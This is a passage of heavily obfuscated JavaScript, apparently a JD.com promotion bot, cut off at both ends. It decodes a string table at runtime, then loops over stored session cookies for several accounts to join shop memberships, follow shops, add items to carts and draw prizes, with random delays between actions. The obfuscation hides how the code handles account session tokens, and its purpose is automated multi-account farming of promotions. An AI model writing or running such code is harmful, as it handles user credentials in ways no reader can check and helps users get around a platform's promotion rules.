tMemM=','MjUwMTM1ZWRiNjI1NDc1Mzk4OWIxZDViZjI4NGI4Yzc=','Mjc1N2M2NjlmZjE0NGIxZmEwOGJmOTA2YWI5Y2U0MzU=','MWVkNzk0NWU5ZDFlNDk4ZGI3MjY5MDFhNjY3MjE0M2M=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9nZXREcmF3UmVjb3JkSGFzQ291cG9u','Q0RDYkk=','ZXhIQkI=','T1V1TVM=','a21QSUc=','ZUhtYmQ=','aFBHaVk=','aWlwTmI=','eG5JdG4=','VVF0cFY=','THZ4UXE=','anV4cHM=','c3FDVks=','YWN0aXZpdHlJZD0=','JmFjdG9yVXVpZD0=','JnBpbj0=','Z2pUYVY=','Jm51bT0wJnNvcnRTdWF0dXM9MQ==','cG9zdA==','RkJPaVA=','TEJNREg=','cVNjU1U=','WVNMQlk=','aWZ2dW0=','QkJwYU8=','RnVjc20=','dG9TdHI=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cXpFZmI=','WEJmdFM=','UlJhTlk=','cENqSlc=','dXJkaE0=','QkxUcGo=','VGNIaVY=','5oiR55qE5aWW5ZOB77ya','aW5mb05hbWU=','SGhIalI=','aW5mb1R5cGU=','6YKA6K+35aW95Y+LKA==','QlJ0T1E=','eVVqcno=','aGRMUVA=','TVlERVM=','WUhZZEY=','aUxua0U=','aW9maXg=','S0JWZ3g=','Zmxvb3I=','TlJwdWc=','VG9PbnE=','S2ZBQkU=','bFhYZVg=','5oiR55qE5aWW5ZOBIA==','Z1lNVGc=','QXlEbUc=','bVFReFY=','dndPa0o=','cGdRSXM=','dVh4QXU=','cFpuanc=','Q0R0UW4=','bU15Qk4=','ZkdJWW0=','S0RSeE8=','WlVJSFA=','VnpiS3c=','bkV2dHg=','V2JzdUI=','R25NVmQ=','T01wT2Y=','bkRHcUM=','L2Rpbmd6aGkvdGFza2FjdC9vcGVuQ2FyZGNvbW1vbi9nZXRTaGFyZVJlY29yZA==','aGVQZFY=','dGltWWE=','R012c1k=','YmNyUlk=','cGlsVFI=','dmtNY0s=','RnlPa1A=','dmJLbkk=','dkh0b08=','elNOY0E=','cHhUWEw=','WE9ZRXo=','RUVLQkY=','ZktzRlQ=','Z0F1eWI=','5YWl5Lya6I635b6XOg==','ZGlzY291bnRTdHJpbmc=','cHJpemVOYW1l','c2Vjb25kTGluZURlc2M=','PT09PT09PT09PT0g5L2g6YKA6K+35LqGOg==','WmJNc2c=','bmZPWnk=','cGFyc2U=','SnZ4ekQ=','c3VjY2Vzcw==','c2hvcGFjdGl2aXR5SWQ=','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','akx1UWM=','YWxsU3RhdHVz','Z3pVbEQ=','Z21pTUQ=','WEVjR2g=','RU96VHY=','TXJ2Y2s=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvc2F2ZVRhc2s=','c1ZmdGw=','JnRhc2tUeXBlPTImdGFza1ZhbHVlPTEwMDAyMTM3NzY4NA==','QldBZ3Y=','eFhDZ3M=','dGpNY0U=','cm5GY1I=','d3lQUmI=','QUh0WXY=','eXlmVGg=','U2NqV0o=','UUZKSHQ=','c09SRlE=','cmtyblM=','TUl5alk=','UktxQUc=','Vk9Sd3Y=','ZkREamY=','TW1wQWs=','VmlKenc=','VGd1Wk4=','dWNoVms=','Q2lHWGU=','c3RhdHVzQ29kZQ==','Y2REc1g=','Rld4Rlc=','aHFnQ2s=','bG1XamU=','5Yqg6LSt6I635b6X77ya','cnVvY2U=','YkN4eVI=','5Yqg6LStIA==','SlpGdHM=','VFJCZFc=','SU9SdEQ=','ZlNMQks=','VE5EaEI=','enp3bHY=','VWNJd3E=','TlZNR08=','RFpZSWg=','VHl0aXE=','eHRJaGI=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvZm9sbG93U2hvcA==','VHhlR2I=','bHlmQVY=','UVNsRWY=','TkdvTXE=','Q0NvaWw=','c2pyTHI=','ckpaR2g=','RXNIZkc=','JnRhc2tUeXBlPTIzJnRhc2tWYWx1ZT0xMDAwMDkxODYz','SWl3c2M=','SGZjeEY=','Unp5SlI=','UHZNRlQ=','ZVVDUGE=','UEFoU0U=','RGhVRkY=','Z2JSTVc=','RG5WU1Y=','V3hHckw=','c1pyWHY=','bEtDY1M=','U1NBbWY=','YUhtWW0=','Yllpam4=','VVZPVWU=','bXFXclA=','RGJrR3c=','Q01BT20=','bmVZZ1M=','a2dSenY=','b1BWclk=','ZHNwZ2I=','dmxkYko=','a01XZE0=','YWRtc2w=','VHJWd0E=','ZXJyY29kZQ==','bFFZSUI=','dG9rZW4=','U0R4TVQ=','R3VoRGo=','bWVzc2FnZQ==','aXN2T2JmdXNjYXRvciA=','aUx2cXM=','ZEpOQ1M=','5YWz5rOoIA==','ZldxdkY=','bW5PWlk=','dlN4SWg=','RXN4dXc=','ZGFDWE4=','QmRRWnA=','dGd6a0Q=','bnVqd2s=','RGZwQ3U=','Q1JSTVU=','Z2V0','eVJVaEg=','TkpBbkE=','Z2JBcmM=','RWRmREY=','Tk9wSXk=','dGV4dC9wbGFpbjsgQ2hhcnNldD1VVEYtOA==','aHR0cHM6Ly9hcGkubS5qZC5jb20=','YXBpLm0uamQuY29t','Ki8q','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0lN0IlMjJ2ZW5kZXJJZCUyMiUzQSUyMg==','JTIyJTJDJTIyY2hhbm5lbCUyMiUzQTQwMSU3RCZjbGllbnQ9SDUmY2xpZW50VmVyc2lvbj05LjIuMCZ1dWlkPTg4ODg4','VWZNbHE=','dnh6aGU=','VFZDS2M=','V1ZZdnE=','V3drTGw=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','JnNob3BJZD0=','JnZlbmRlclR5cGU9NSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','WGdyUGE=','bGxRS0I=','QWdQdEk=','SHVTb2k=','VkFVUmI=','S25LQkE=','dU5nVlE=','ZER6enM=','bUJCSFU=','UU1hYmc=','ekd0SHk=','YmRSWlQ=','Y2JSQ0E=','UFB5cmE=','aXNZTW0=','RW9rYU0=','c1pXS04=','SmhnV00=','clVTUm0=','dHN5VmM=','Z2lmdEluZm8=','Z2lmdExpc3Q=','SkRGRko=','WGR1aVk=','LCJhY3Rpdml0eUlkIjo=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWJpbmRXaXRoVmVuZGVyJmJvZHk9eyJ2ZW5kZXJJZCI6Ig==','Iiwic2hvcElkIjoi','IiwiYmluZEJ5VmVyaWZ5Q29kZUZsYWciOjEsInJlZ2lzdGVyRXh0ZW5kIjp7fSwid3JpdGVDaGlsZEZsYWciOjA=','LCJjaGFubmVsIjo0MDF9JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','ZldqSmc=','QnRGaUU=','VmRSU1o=','ZGdsc20=','YkFzd0c=','U25JaHE=','U0FpTmY=','U2NkR0I=','VEluZEI=','Q3JTWlU=','aEJhZms=','WkpGZHE=','L2Rpbmd6aGkvZHovb3BlbkNhcmQvc3RhcnREcmF3','dmFwVXQ=','JnR5cGU9','ZEFRZnE=','SVF2S1Q=','eUFtSW0=','YXJQb0c=','REpRWFk=','UHp5Y28=','dlV2aU0=','T3hVQmw=','ZXJXbXk=','ZWdLbG0=','YmFWTVE=','akhsWG8=','cEp5ZlU=','dm16SXA=','b21CSFA=','T21jcHo=','R3B6cGk=','UkVTVlE=','ZGNXeGs=','RlpBTmY=','bVhiYmY=','b3B1c1k=','T0V2SXI=','V3pybkU=','T09GSlE=','eWVUbHA=','QnlHRUs=','S2hLTlc=','VFp1b0E=','5oq95aWW6I635b6X77ya','ZHJhd09r','SEd5b1E=','5oq95aWWIA==','VmhGYWI=','dXJQQVU=','dVd3VEU=','Z1RQcm8=','Y2NjenI=','SXRVeWU=','SGhtdUs=','UlpnREk=','dXRWTHQ=','Z3lVUHY=','eWjsYpjiCaemin.cToGIm.vU6xSgul=='];(function(_0x588c69,_0x20f2a3,_0x32a0e7){var _0x3dbce6=function(_0x17f1ed,_0x24acd1,_0x3156e0,_0x901f1a,_0x3dcdc3){_0x24acd1=_0x24acd1>>0x8,_0x3dcdc3='po';var _0x37c8ff='shift',_0x2272e8='push';if(_0x24acd1<_0x17f1ed){while(--_0x17f1ed){_0x901f1a=_0x588c69[_0x37c8ff]();if(_0x24acd1===_0x17f1ed){_0x24acd1=_0x901f1a;_0x3156e0=_0x588c69[_0x3dcdc3+'p']();}else if(_0x24acd1&&_0x3156e0['replace'](/[eWYpCenTGIUxSgul=]/g,'')===_0x24acd1){_0x588c69[_0x2272e8](_0x901f1a);}}_0x588c69[_0x2272e8](_0x588c69[_0x37c8ff]());}return 0xa5faf;};return _0x3dbce6(++_0x20f2a3,_0x32a0e7)>>_0x20f2a3^_0x32a0e7;}(_0x1e35,0x1e1,0x1e100));var _0x5a05=function(_0x12a720,_0x1f36fd){_0x12a720=~~'0x'['concat'](_0x12a720);var _0x29cbe6=_0x1e35[_0x12a720];if(_0x5a05['YXPdqD']===undefined){(function(){var _0x4fb134;try{var _0x2c89b1=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x4fb134=_0x2c89b1();}catch(_0x5067fa){_0x4fb134=window;}var _0x1aec73='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4fb134['atob']||(_0x4fb134['atob']=function(_0x497674){var _0x404106=String(_0x497674)['replace'](/=+$/,'');for(var _0x5ae109=0x0,_0x13397f,_0x2e6b63,_0xcaf4c7=0x0,_0x3fd652='';_0x2e6b63=_0x404106['charAt'](_0xcaf4c7++);~_0x2e6b63&&(_0x13397f=_0x5ae109%0x4?_0x13397f*0x40+_0x2e6b63:_0x2e6b63,_0x5ae109++%0x4)?_0x3fd652+=String['fromCharCode'](0xff&_0x13397f>>(-0x2*_0x5ae109&0x6)):0x0){_0x2e6b63=_0x1aec73['indexOf'](_0x2e6b63);}return _0x3fd652;});}());_0x5a05['YjCTYW']=function(_0x2f818a){var _0x25b944=atob(_0x2f818a);var _0x407dc4=[];for(var _0x19006b=0x0,_0x2e077d=_0x25b944['length'];_0x19006b<_0x2e077d;_0x19006b++){_0x407dc4+='%'+('00'+_0x25b944['charCodeAt'](_0x19006b)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x407dc4);};_0x5a05['hgkrRc']={};_0x5a05['YXPdqD']=!![];}var _0x2ebc5a=_0x5a05['hgkrRc'][_0x12a720];if(_0x2ebc5a===undefined){_0x29cbe6=_0x5a05['YjCTYW'](_0x29cbe6);_0x5a05['hgkrRc'][_0x12a720]=_0x29cbe6;}else{_0x29cbe6=_0x2ebc5a;}return _0x29cbe6;};let cookiesArr=[],cookie='';let activityCookie='';let lz_jdpin_token='';if($[_0x5a05('0')]()){Object[_0x5a05('1')](jdCookieNode)[_0x5a05('2')](_0x54a24e=>{cookiesArr[_0x5a05('3')](jdCookieNode[_0x54a24e]);});if(process[_0x5a05('4')][_0x5a05('5')]&&process[_0x5a05('4')][_0x5a05('5')]===_0x5a05('6'))console[_0x5a05('7')]=()=>{};}else{cookiesArr=[$[_0x5a05('8')](_0x5a05('9')),$[_0x5a05('8')](_0x5a05('a')),...jsonParse($[_0x5a05('8')](_0x5a05('b'))||'[]')[_0x5a05('c')](_0x4abdc9=>_0x4abdc9[_0x5a05('d')])][_0x5a05('e')](_0x2a8e78=>!!_0x2a8e78);}guaopencard_addSku=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('f')]?process[_0x5a05('4')][_0x5a05('f')]:''+guaopencard_addSku:$[_0x5a05('8')](_0x5a05('f'))?$[_0x5a05('8')](_0x5a05('f')):''+guaopencard_addSku;guaopencard_addSku=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('10')]?process[_0x5a05('4')][_0x5a05('10')]:''+guaopencard_addSku:$[_0x5a05('8')](_0x5a05('10'))?$[_0x5a05('8')](_0x5a05('10')):''+guaopencard_addSku;guaopencard=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('11')]?process[_0x5a05('4')][_0x5a05('11')]:''+guaopencard:$[_0x5a05('8')](_0x5a05('11'))?$[_0x5a05('8')](_0x5a05('11')):''+guaopencard;guaopencard=$[_0x5a05('0')]()?process[_0x5a05('4')][_0x5a05('12')]?process[_0x5a05('4')][_0x5a05('12')]:''+guaopencard:$[_0x5a05('8')](_0x5a05('12'))?$[_0x5a05('8')](_0x5a05('12')):''+guaopencard;message='';$[_0x5a05('13')]=![];!(async()=>{var _0xd82e6a={'iHiNV':_0x5a05('14'),'XzuFg':function(_0x1066cb,_0x50092a){return _0x1066cb===_0x50092a;},'UScYQ':_0x5a05('15'),'IaYLl':_0x5a05('16'),'leknV':_0x5a05('17'),'CSbnk':function(_0x3fe675,_0x1592d1){return _0x3fe675!=_0x1592d1;},'KXQbv':function(_0x2992f1,_0x1f9e38){return _0x2992f1+_0x1f9e38;},'gkntF':_0x5a05('18'),'GSaJa':_0x5a05('19'),'JnOmY':_0x5a05('1a'),'ONGie':function(_0x213ac9,_0x5cb3cd){return _0x213ac9!=_0x5cb3cd;},'SvPWo':_0x5a05('1b'),'xwglF':_0x5a05('1c'),'oFzxm':function(_0x2b4665,_0x45b141){return _0x2b4665<_0x45b141;},'tdLjT':function(_0x243b49,_0x32841a){return _0x243b49(_0x32841a);},'RUCpB':function(_0x4ac5a9){return _0x4ac5a9();},'UTdGW':function(_0x180f47,_0x3819fe){return _0x180f47==_0x3819fe;},'IMviP':_0x5a05('1d')};if(!cookiesArr[0x0]){if(_0xd82e6a[_0x5a05('1e')](_0xd82e6a[_0x5a05('1f')],_0xd82e6a[_0x5a05('1f')])){$[_0x5a05('20')]($[_0x5a05('21')],_0xd82e6a[_0x5a05('22')],_0xd82e6a[_0x5a05('23')],{'open-url':_0xd82e6a[_0x5a05('23')]});return;}else{console[_0x5a05('7')](data);}}if($[_0x5a05('0')]()){if(_0xd82e6a[_0x5a05('24')](_0xd82e6a[_0x5a05('25')](guaopencard,''),_0xd82e6a[_0x5a05('26')])){if(_0xd82e6a[_0x5a05('1e')](_0xd82e6a[_0x5a05('27')],_0xd82e6a[_0x5a05('27')])){console[_0x5a05('7')](_0xd82e6a[_0x5a05('28')]);}else{console[_0x5a05('7')](_0xd82e6a[_0x5a05('29')]);return;}}if(_0xd82e6a[_0x5a05('2a')](_0xd82e6a[_0x5a05('25')](guaopencard,''),_0xd82e6a[_0x5a05('26')])){return;}}$[_0x5a05('2b')]=_0xd82e6a[_0x5a05('2c')];$[_0x5a05('2d')]=_0xd82e6a[_0x5a05('2e')];console[_0x5a05('7')](_0x5a05('2f')+$[_0x5a05('2d')]+_0x5a05('30')+$[_0x5a05('2b')]);for(let _0x342ac9=0x0;_0xd82e6a[_0x5a05('31')](_0x342ac9,cookiesArr[_0x5a05('32')]);_0x342ac9++){cookie=cookiesArr[_0x342ac9];if(cookie){$[_0x5a05('33')]=_0xd82e6a[_0x5a05('34')](decodeURIComponent,cookie[_0x5a05('35')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x5a05('35')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x5a05('36')]=_0xd82e6a[_0x5a05('25')](_0x342ac9,0x1);_0xd82e6a[_0x5a05('37')](getUA);console[_0x5a05('7')](_0x5a05('38')+$[_0x5a05('36')]+'】'+$[_0x5a05('33')]+_0x5a05('39'));await _0xd82e6a[_0x5a05('37')](run);if(_0xd82e6a[_0x5a05('3a')](_0x342ac9,0x0)&&!$[_0x5a05('3b')])break;if($[_0x5a05('13')])break;}}if($[_0x5a05('13')]){let _0x3467a2=_0xd82e6a[_0x5a05('3c')];$[_0x5a05('20')]($[_0x5a05('21')],'',''+_0x3467a2);if($[_0x5a05('0')]())await notify[_0x5a05('3d')](''+$[_0x5a05('21')],''+_0x3467a2);}})()[_0x5a05('3e')](_0xca5528=>$[_0x5a05('3f')](_0xca5528))[_0x5a05('40')](()=>$[_0x5a05('41')]());async function run(){var _0x44d4be={'Ivarb':function(_0x156389,_0x4f2cd3){return _0x156389>_0x4f2cd3;},'fvPzF':_0x5a05('42'),'woqWS':function(_0x33ee68,_0x119ddd){return _0x33ee68+_0x119ddd;},'Gaggf':_0x5a05('43'),'XMhoL':function(_0x2ae3c4,_0x19b48c){return _0x2ae3c4+_0x19b48c;},'INRdM':function(_0x1bad7a,_0xf682c2){return _0x1bad7a==_0xf682c2;},'qGIZZ':_0x5a05('44'),'DTVfK':function(_0x574fad,_0x4c524b){return _0x574fad===_0x4c524b;},'EvypG':function(_0x484268,_0x46d409){return _0x484268!=_0x46d409;},'HiyZA':_0x5a05('45'),'miiVl':_0x5a05('46'),'yFVCm':function(_0xd77871){return _0xd77871();},'hNYdf':_0x5a05('6'),'RYKba':function(_0x54e256,_0x37dcc3){return _0x54e256>_0x37dcc3;},'uvRIs':_0x5a05('47'),'cTPPR':function(_0x31f40f,_0x658be3){return _0x31f40f>_0x658be3;},'kPAFJ':function(_0x14d30e,_0x5e4704){return _0x14d30e||_0x5e4704;},'Eseyb':_0x5a05('48'),'JkIaN':_0x5a05('49'),'UDDqD':function(_0x448415,_0x13613f){return _0x448415==_0x13613f;},'SiCMp':function(_0x1eff09,_0x5a2c0a){return _0x1eff09!==_0x5a2c0a;},'IrlKj':_0x5a05('4a'),'gzRdK':_0x5a05('4b'),'bmqqi':function(_0x5011dd){return _0x5011dd();},'zTpvy':function(_0x41d186,_0x10c835){return _0x41d186==_0x10c835;},'ijcQK':_0x5a05('4c'),'RIsDR':function(_0xedb778){return _0xedb778();},'hVshM':function(_0x238f14,_0x5719de){return _0x238f14!==_0x5719de;},'LHJwJ':_0x5a05('4d'),'YQSAT':_0x5a05('4e'),'wJaXp':_0x5a05('4f'),'DHIjt':function(_0xf2dcd3){return _0xf2dcd3();},'BCufm':function(_0x1bf2c6){return _0x1bf2c6();},'PNxMV':function(_0x35693e){return _0x35693e();},'HNsBi':function(_0x4e2b0a,_0x580b48){return _0x4e2b0a===_0x580b48;},'UMNzH':_0x5a05('50'),'GbpCB':_0x5a05('51'),'WkVxG':_0x5a05('52'),'GXHEI':function(_0x4e301e){return _0x4e301e();},'QaSID':_0x5a05('53'),'eVING':function(_0x4ba145,_0x3539ef){return _0x4ba145(_0x3539ef);},'zxxXg':function(_0x5e6a55,_0x3ba894,_0x1ea6f1){return _0x5e6a55(_0x3ba894,_0x1ea6f1);},'MgRIp':function(_0x29cd1a,_0x21411a){return _0x29cd1a*_0x21411a;},'dxJCI':function(_0x476280,_0xf333d8){return _0x476280==_0xf333d8;},'BeFcl':function(_0x1aac5c,_0x5c465c){return _0x1aac5c!==_0x5c465c;},'ihYsR':_0x5a05('54'),'krAZM':_0x5a05('55'),'zgHuG':function(_0x223e17,_0x8e90dc,_0x3426c3){return _0x223e17(_0x8e90dc,_0x3426c3);},'OYQMG':function(_0x2b095e,_0x23f65b){return _0x2b095e*_0x23f65b;},'jcSzm':function(_0x2adedf){return _0x2adedf();},'DtrfD':function(_0x41cea3,_0x40fd51){return _0x41cea3==_0x40fd51;},'zvLko':function(_0x52a032,_0x28d73f){return _0x52a032(_0x28d73f);},'vRoHr':_0x5a05('56'),'LeiYz':function(_0x3a7693,_0x5cb05){return _0x3a7693*_0x5cb05;},'KfmYo':function(_0x5808f4,_0x33cdc0){return _0x5808f4+_0x33cdc0;},'hhyEX':_0x5a05('57'),'cbubV':function(_0x1a46a6,_0x226f36){return _0x1a46a6+_0x226f36;},'vPWnL':_0x5a05('18'),'WZiTm':_0x5a05('58'),'wxeNf':function(_0x8a9915,_0x14a341,_0xf135a9){return _0x8a9915(_0x14a341,_0xf135a9);},'KWGxK':function(_0x215837,_0x1b8c11){return _0x215837+_0x1b8c11;},'TDcoN':function(_0x55012d){return _0x55012d();},'tJTdc':_0x5a05('59'),'tgleo':_0x5a05('5a'),'kzqMV':_0x5a05('5b'),'LmFue':_0x5a05('5c'),'wfdNl':_0x5a05('14'),'awZrw':function(_0x1d27a5,_0x3742fb){return _0x1d27a5*_0x3742fb;},'vlkgd':function(_0xe1fe0b,_0x3706e9,_0x1bb32e){return _0xe1fe0b(_0x3706e9,_0x1bb32e);},'ggoyH':function(_0x4e87ce,_0xaa8119){return _0x4e87ce*_0xaa8119;},'glLem':function(_0x52472b,_0x13c1c3){return _0x52472b===_0x13c1c3;},'YAUPq':_0x5a05('5d'),'tPbfQ':_0x5a05('5e')};try{if(_0x44d4be[_0x5a05('5f')](_0x44d4be[_0x5a05('60')],_0x44d4be[_0x5a05('60')])){lz_jdpin_token='';$[_0x5a05('61')]='';$[_0x5a05('62')]='';await _0x44d4be[_0x5a05('63')](getCk);if(_0x44d4be[_0x5a05('64')](activityCookie,'')){console[_0x5a05('7')](_0x5a05('65'));return;}if($[_0x5a05('13')]){if(_0x44d4be[_0x5a05('66')](_0x44d4be[_0x5a05('67')],_0x44d4be[_0x5a05('67')])){let _0x26db21=ck[_0x5a05('68')](';')[0x0][_0x5a05('69')]();if(_0x26db21[_0x5a05('68')]('=')[0x1]){if(_0x44d4be[_0x5a05('6a')](_0x26db21[_0x5a05('6b')](_0x44d4be[_0x5a05('6c')]),-0x1))LZ_TOKEN_KEY=_0x44d4be[_0x5a05('6d')](_0x26db21[_0x5a05('6e')](/ /g,''),';');if(_0x44d4be[_0x5a05('6a')](_0x26db21[_0x5a05('6b')](_0x44d4be[_0x5a05('6f')]),-0x1))LZ_TOKEN_VALUE=_0x44d4be[_0x5a05('70')](_0x26db21[_0x5a05('6e')](/ /g,''),';');}}else{console[_0x5a05('7')](_0x44d4be[_0x5a05('71')]);return;}}await _0x44d4be[_0x5a05('72')](getToken);if(_0x44d4be[_0x5a05('73')]($[_0x5a05('61')],'')){console[_0x5a05('7')](_0x44d4be[_0x5a05('74')]);return;}await _0x44d4be[_0x5a05('72')](getSimpleActInfoVo);$[_0x5a05('75')]='';await _0x44d4be[_0x5a05('76')](getMyPing);if(_0x44d4be[_0x5a05('5f')]($[_0x5a05('62')],'')||_0x44d4be[_0x5a05('73')](typeof $[_0x5a05('77')],_0x44d4be[_0x5a05('78')])||_0x44d4be[_0x5a05('73')](typeof $[_0x5a05('79')],_0x44d4be[_0x5a05('78')])){if(_0x44d4be[_0x5a05('7a')](_0x44d4be[_0x5a05('7b')],_0x44d4be[_0x5a05('7c')])){$[_0x5a05('7')](_0x44d4be[_0x5a05('7d')]);return;}else{res=$[_0x5a05('7e')](data);if(_0x44d4be[_0x5a05('7f')](typeof res,_0x44d4be[_0x5a05('80')])&&res[_0x5a05('81')]&&_0x44d4be[_0x5a05('5f')](res[_0x5a05('81')],!![])){if(res[_0x5a05('82')]&&_0x44d4be[_0x5a05('83')](typeof res[_0x5a05('82')][_0x5a05('84')],_0x44d4be[_0x5a05('78')]))$[_0x5a05('85')]=res[_0x5a05('82')][_0x5a05('84')]||_0x44d4be[_0x5a05('86')];}else if(_0x44d4be[_0x5a05('7f')](typeof res,_0x44d4be[_0x5a05('80')])&&res[_0x5a05('87')]){console[_0x5a05('7')](_0x5a05('88')+(res[_0x5a05('87')]||''));}else{console[_0x5a05('7')](data);}}}await _0x44d4be[_0x5a05('89')](accessLogWithAD);$[_0x5a05('85')]=_0x44d4be[_0x5a05('86')];await _0x44d4be[_0x5a05('8a')](getUserInfo);$[_0x5a05('3b')]='';await _0x44d4be[_0x5a05('8b')](getActorUuid);if(!$[_0x5a05('3b')]){if(_0x44d4be[_0x5a05('8c')](_0x44d4be[_0x5a05('8d')],_0x44d4be[_0x5a05('8e')])){_0x44d4be[_0x5a05('63')](resolve);}else{console[_0x5a05('7')](_0x44d4be[_0x5a05('8f')]);return;}}await _0x44d4be[_0x5a05('90')](drawContent);await $[_0x5a05('91')](0x3e8);let _0x324ced=await _0x44d4be[_0x5a05('90')](checkOpenCard);if(_0x324ced&&!_0x324ced[_0x5a05('92')]&&!$[_0x5a05('13')]){let _0x6e7a4f=!![];for(let _0x5f4984 of _0x324ced[_0x5a05('93')]&&_0x324ced[_0x5a05('93')]||[]){if(_0x44d4be[_0x5a05('73')](_0x5f4984[_0x5a05('94')],0x0)){var _0x24fa79=_0x44d4be[_0x5a05('95')][_0x5a05('68')]('|'),_0x4af0c5=0x0;while(!![]){switch(_0x24fa79[_0x4af0c5++]){case'0':if(_0x6e7a4f)_0x6e7a4f=![];continue;case'1':await _0x44d4be[_0x5a05('96')](join,_0x5f4984[_0x5a05('97')]);continue;case'2':await $[_0x5a05('91')](_0x44d4be[_0x5a05('98')](parseInt,_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('99')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));continue;case'3':if(_0x6e7a4f)console[_0x5a05('7')]('组1');continue;case'4':await _0x44d4be[_0x5a05('90')](drawContent);continue;case'5':console[_0x5a05('7')](_0x5f4984[_0x5a05('21')]);continue;}break;}}}_0x6e7a4f=!![];for(let _0x4b318a of _0x324ced[_0x5a05('9b')]&&_0x324ced[_0x5a05('9b')]||[]){if(_0x44d4be[_0x5a05('9c')](_0x4b318a[_0x5a05('94')],0x0)){if(_0x44d4be[_0x5a05('9d')](_0x44d4be[_0x5a05('9e')],_0x44d4be[_0x5a05('9e')])){Object[_0x5a05('1')](jdCookieNode)[_0x5a05('2')](_0x27295a=>{cookiesArr[_0x5a05('3')](jdCookieNode[_0x27295a]);});if(process[_0x5a05('4')][_0x5a05('5')]&&_0x44d4be[_0x5a05('5f')](process[_0x5a05('4')][_0x5a05('5')],_0x44d4be[_0x5a05('9f')]))console[_0x5a05('7')]=()=>{};}else{var _0x37e1dc=_0x44d4be[_0x5a05('a0')][_0x5a05('68')]('|'),_0x350f25=0x0;while(!![]){switch(_0x37e1dc[_0x350f25++]){case'0':await _0x44d4be[_0x5a05('96')](join,_0x4b318a[_0x5a05('97')]);continue;case'1':if(_0x6e7a4f)_0x6e7a4f=![];continue;case'2':if(_0x6e7a4f)console[_0x5a05('7')]('组2');continue;case'3':console[_0x5a05('7')](_0x4b318a[_0x5a05('21')]);continue;case'4':await _0x44d4be[_0x5a05('90')](drawContent);continue;case'5':await $[_0x5a05('91')](_0x44d4be[_0x5a05('a1')](parseInt,_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('a2')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));continue;}break;}}}}await $[_0x5a05('91')](0x3e8);await _0x44d4be[_0x5a05('a3')](drawContent);_0x324ced=await _0x44d4be[_0x5a05('a3')](checkOpenCard);await $[_0x5a05('91')](0x3e8);}if(_0x324ced&&_0x44d4be[_0x5a05('a4')](_0x324ced[_0x5a05('a5')],0x1)&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a6')](startDraw,0x1);if(_0x324ced&&_0x44d4be[_0x5a05('a4')](_0x324ced[_0x5a05('a7')],0x1)&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a6')](startDraw,0x2);$[_0x5a05('7')](_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('a8')],$[_0x5a05('a9')]));if(!$[_0x5a05('a9')]&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a3')](followShop);if(!$[_0x5a05('a9')]&&!$[_0x5a05('13')])await $[_0x5a05('91')](_0x44d4be[_0x5a05('a1')](parseInt,_0x44d4be[_0x5a05('70')](_0x44d4be[_0x5a05('aa')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));$[_0x5a05('7')](_0x44d4be[_0x5a05('ab')](_0x44d4be[_0x5a05('ac')],$[_0x5a05('ad')]));if(!$[_0x5a05('ad')]&&_0x44d4be[_0x5a05('83')](_0x44d4be[_0x5a05('ae')](guaopencard_addSku,''),_0x44d4be[_0x5a05('af')]))console[_0x5a05('7')](_0x44d4be[_0x5a05('b0')]);if(!$[_0x5a05('ad')]&&_0x44d4be[_0x5a05('a4')](guaopencard_addSku,_0x44d4be[_0x5a05('af')])&&!$[_0x5a05('13')])await _0x44d4be[_0x5a05('a3')](addSku);if(!$[_0x5a05('ad')]&&_0x44d4be[_0x5a05('a4')](guaopencard_addSku,_0x44d4be[_0x5a05('af')])&&!$[_0x5a05('13')])await $[_0x5a05('91')](_0x44d4be[_0x5a05('b1')](parseInt,_0x44d4be[_0x5a05('b2')](_0x44d4be[_0x5a05('aa')](Math[_0x5a05('9a')](),0x3e8),0x1388),0xa));await _0x44d4be[_0x5a05('a3')](getDrawRecordHasCoupon);await $[_0x5a05('91')](0x3e8);await 